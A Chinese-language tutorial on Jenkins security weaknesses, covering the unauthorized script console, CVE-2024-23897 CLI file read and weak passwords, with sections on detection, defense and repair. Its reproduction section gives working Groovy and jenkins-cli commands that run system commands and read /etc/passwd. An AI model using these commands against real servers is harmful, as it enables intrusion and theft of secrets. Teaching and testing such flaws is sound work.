写在前面:合法学习边界
本文利用只允许在授权环境进行。Jenkins 往往连着代码仓库与发布权限,入侵真实系统可能触犯法律。
一、漏洞原理
Jenkins 是 CI/CD 平台,权限配置不当极易被利用:
1
2
3
4
| 1. 未授权访问 /script 脚本控制台 → 执行 Groovy
2. CLI 文件读取(CVE-2024-23897):args4j 解析器可读任意文件
3. 历史 RCE:CVE-2018-1000861(Groovy)、Git 插件等
4. 匿名用户权限过大(overall/read + script 权限)
|
本质:构建平台默认信任度高,权限与接口暴露就是灾难。
二、影响与危害
1
2
3
| 在构建节点/主节点执行命令
读取密钥、源码、凭据
利用构建任务横向到其他系统
|
风险等级:高到严重。
三、利用 / 复现
1. 脚本控制台执行 Groovy
1
2
| 访问 http://目标:8080/script(需相应权限/未授权)
在控制台输入:
|
1
2
| println "id".execute().text
println new File("/etc/passwd").text
|
点 Run 即可看到命令输出。
2. CLI 文件读取(CVE-2024-23897)
1
2
| # 低版本 Jenkins 通过 CLI 读文件
java -jar jenkins-cli.jar -s http://目标:8080/ connect-node @/etc/passwd
|
3. 爆破与弱口令
1
2
| Jenkins 默认无密码(首次可创建用户)
尝试常见弱口令进入后台
|
四、检测
1
2
3
4
| 指纹:8080 端口、/jenkins 路径
探测 /script、/login、匿名权限
版本核对已知 CVE
日志中异常 /script 访问与 CLI 请求
|
五、防御
1
2
3
4
| 关闭匿名访问,强制认证
严格管理 /script 脚本控制台权限
限制 Jenkins 公网暴露
升级到安全版本
|
六、修复
1
2
3
4
| 升级 Jenkins 与插件到安全版本
收紧权限(脚本控制台仅管理员)
清理后门与异常任务
修复后复测:未授权访问与脚本执行被拒
|
七、小结
Jenkins 这类 CI/CD 是“高权限 + 易暴露”的组合,一旦被未授权/弱口令进入,就是代码和发布链路的失守。重点防护脚本控制台、匿名权限和公网暴露。